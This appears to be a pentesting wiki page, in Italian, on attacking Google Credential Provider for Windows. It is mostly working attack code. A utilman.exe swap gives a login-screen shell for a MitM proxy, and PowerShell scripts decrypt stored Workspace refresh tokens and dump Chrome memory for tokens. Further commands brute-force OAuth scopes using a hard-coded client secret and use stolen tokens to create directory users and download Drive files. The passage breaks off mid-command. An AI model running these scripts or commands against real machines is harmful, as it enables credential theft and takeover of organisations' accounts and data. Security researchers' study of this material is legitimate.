# GCPW - Google Credential Provider for Windows

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

Questo è il single sign-on fornito da Google Workspaces affinché gli utenti possano accedere ai propri PC Windows utilizzando **le proprie credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC.

> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCPW**, ottenere informazioni sulla configurazione e **anche token**.

### GCPW - MitM

Quando un utente accede a un PC Windows sincronizzato con Google Workspace tramite GCPW, dovrà completare un modulo di accesso comune. Questo modulo di accesso restituirà un codice OAuth che il PC scambierà per il token di aggiornamento in una richiesta come:
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
> [!NOTE]
> È stato possibile eseguire un MitM installando `Proxifier` nel PC, sovrascrivendo il binario `utilman.exe` con un `cmd.exe` ed eseguendo le **funzionalità di accessibilità** nella pagina di accesso di Windows, che eseguirà un **CMD** da cui puoi **lanciare e configurare il Proxifier**.\
> Non dimenticare di **bloccare il traffico QUICK UDP** in `Proxifier` in modo che venga degradato a comunicazione TCP e tu possa vederlo.
>
> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato CA di Burp in Windows.

Inoltre, aggiungendo le chiavi `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** è possibile far sì che vengano memorizzati alcuni log.

### GCPW - Fingerprint

È possibile verificare se GCPW è installato in un dispositivo controllando se esiste il seguente processo o se esistono le seguenti chiavi di registro:
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
In **`HKCU:\SOFTWARE\Google\Accounts`** è possibile accedere all'email dell'utente e al **refresh token** crittografato se l'utente ha effettuato di recente l'accesso.

In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, handle del token...

> [!NOTE]
> L'handle del token è un token che inizia con `eth.` e dal quale è possibile estrarre alcune informazioni con una richiesta come:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
>   -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
> # Esempio di risposta
> {
>   "audience": "77185425430.apps.googleusercontent.com",
>   "scope": "https://www.google.com/accounts/OAuthLogin",
>   "expires_in": 12880152
> }
> ```
>
> Inoltre è possibile trovare l'handle del token di un access token con una richiesta come:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
>   -d 'access_token=<access token>'
> # Esempio di risposta
> {
>   "issued_to": "77185425430.apps.googleusercontent.com",
>   "audience": "77185425430.apps.googleusercontent.com",
>   "scope": "https://www.google.com/accounts/OAuthLogin",
>   "expires_in": 1327,
>   "access_type": "offline",
>   "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
> }
> ```
>
> A quanto ne so, non è possibile ottenere un refresh token o un access token dall'handle del token.

Inoltre, il file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** è un json che contiene le informazioni di diverse **impostazioni** come `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (se più utenti di Workspace possono accedere al computer) e `validityPeriodDays` (numero di giorni in cui un utente non deve ri-autenticarsi direttamente con Google).

## GCPW - Ottieni Token

### GCPW - Registry Refresh Tokens

All'interno del registro **`HKCU:\SOFTWARE\Google\Accounts`** potrebbe essere possibile trovare alcuni account con il **`refresh_token`** crittografato all'interno. Il metodo **`ProtectedData.Unprotect`** può facilmente decrittografarlo.

<details>

<summary>Ottieni <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> dati e decrittografa refresh_tokens</summary>
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security

# Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

# Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens {
param (
[string]$keyPath
)

# Get all values within the current key
$registryKey = Get-Item -Path $keyPath
$foundToken = $false

# Loop through properties to find refresh_token
foreach ($property in $registryKey.Property) {
if ($property -eq "refresh_token") {
$foundToken = $true
try {
# Get the raw bytes of the refresh_token from the registry
$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

# Decrypt the bytes using ProtectedData.Unprotect
$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath"
Write-Output "Decrypted refresh_token: $decryptedToken"
Write-Output "-----------------------------"
}
catch {
Write-Output "Path: $keyPath"
Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)"
Write-Output "-----------------------------"
}
}
}

# Recursively process all subkeys
Get-ChildItem -Path $keyPath | ForEach-Object {
Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
}
}

# Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
</details>
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
Come spiegato in [**questo video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), se non trovi il token nel registro, è possibile modificare il valore (o eliminarlo) da **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** e la prossima volta che l'utente accede al computer dovrà effettuare nuovamente il login e il **token sarà memorizzato nel registro precedente**.

### GCPW - Token di aggiornamento del disco

Il file **`%LocalAppData%\Google\Chrome\User Data\Local State`** memorizza la chiave per decrittare i **`refresh_tokens`** situati all'interno dei **profili di Google Chrome** dell'utente come:

- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

È possibile trovare del **codice C#** che accede a questi token nella loro forma decrittata in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Inoltre, la crittografia può essere trovata in questo codice: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

Si può osservare che viene utilizzato AESGCM, il token crittografato inizia con una **versione** (**`v10`** in questo momento), poi ha [**12B di nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), e poi ha il **testo cifrato** con un **mac finale di 16B**.

### GCPW - Dumping dei token dalla memoria dei processi

Il seguente script può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**

<details>

<summary>Dump dei processi Chrome e ricerca dei token</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>

Ho provato lo stesso con `gcpw_extension.exe` ma non ha trovato alcun token.

Per qualche motivo, **alcuni token di accesso estratti non saranno validi (anche se alcuni lo saranno)**. Ho provato il seguente script per rimuovere i caratteri uno alla volta per cercare di ottenere il token valido dal dump. Non mi ha mai aiutato a trovare uno valido, ma potrebbe, suppongo:

<details>

<summary>Controlla il token di accesso rimuovendo i caratteri uno alla volta</summary>
```bash
#!/bin/bash

# Define the initial access token
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

# Define the URL for the request
url="https://www.googleapis.com/oauth2/v1/tokeninfo"

# Loop until the token is 20 characters or the response doesn't contain "error_description"
while [ ${#access_token} -gt 20 ]; do
# Make the request and capture the response
response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

# Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then
echo "Success: Token is valid"
echo "Final token: $access_token"
echo "Response: $response"
exit 0
fi

# Remove the last character from the token
access_token=${access_token:0:-1}

echo "Token length: ${#access_token}"
done

echo "Error: Token invalid or too short"
```
</details>

### GCPW - Generazione di token di accesso dai token di aggiornamento

Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCPW - Scopes

> [!NOTE]
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**.
>
> Inoltre, il refresh token non è valido in ogni applicazione.

Per impostazione predefinita, GCPW non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

E questo è l'output che ho ottenuto al momento della scrittura:

<details>

<summary>Ambiti forzati a forza bruta</summary>
```
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
```
</details>

Inoltre, controllando il codice sorgente di Chromium è possibile [**trovare questo file**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), che contiene **altri ambiti** che si può presumere **non appaiano nella lista precedentemente forzata**. Pertanto, questi ambiti extra possono essere presi in considerazione:

<details>

<summary>Ambiti extra</summary>
```
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome
```
</details>

Nota che il più interessante è probabilmente:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Tuttavia, ho provato a utilizzare questo ambito per accedere a gmail o elencare i gruppi e non ha funzionato, quindi non so quanto sia ancora utile.

**Ottieni un token di accesso con tutti quegli ambiti**:

<details>

<summary>Script Bash per generare un token di accesso da refresh_token con tutti gli ambiti</summary>
```bash
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')

curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token
```
</details>

Alcuni esempi utilizzando alcuni di questi ambiti:

<details>

<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/oauth2/v2/userinfo"

{
"id": "100203736939176354570",
"email": "hacktricks@example.com",
"verified_email": true,
"name": "John Smith",
"given_name": "John",
"family_name": "Smith",
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
"locale": "en",
"hd": "example.com"
}
```
</details>

<details>

<summary>https://www.googleapis.com/auth/admin.directory.user</summary>
```bash
# List users
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/admin/directory/v1/users?customer=<workspace_id>&maxResults=100&orderBy=email"

# Create user
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"primaryEmail": "newuser@hdomain.com",
"name": {
"givenName": "New",
"familyName": "User"
},
"password": "UserPassword123",
"changePasswordAtNextLogin": true
}' \
"https://www.googleapis.com/admin/directory/v1/users"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/drive</summary>
```bash
# List files
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
"files": [
{
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
"name": "Veeam new vendor form 1 2024.docx",
"modifiedTime": "2024-08-30T09:25:35.219Z"
}
]
}

# Download file
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
-o "DownloadedFileName.ext"

# Upload file
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/file.ext \
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/devstorage.read_write</summary>
```bash
# List buckets from a project
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/storage/v1/b?project=<project-id>"

# List objects in a bucket
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/storage/v1/b/<bucket-name>/o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name"

# Upload file to bucket
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/yourfile.ext \
"https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>"

# Download file from bucket
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \
-o "DownloadedFileName.ext"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"

# Download as pdf
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
-o "Spreadsheet.pdf"

# Create spreadsheet
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"title": "New Spreadsheet"
}
}' \
"https://sheets.googleapis.com/v4/spreadsheets"

# Read data from a spreadsheet
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"

# Update data in spreadsheet
curl -X PUT \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"range": "Sheet1!A2:C2",
"majorDimension": "ROWS",
"values": [
["Alice Johnson", "28", "alice.johnson@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"

# Append data
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"values": [
["Bob Williams", "35", "bob.williams@example.com"]
]
}' \
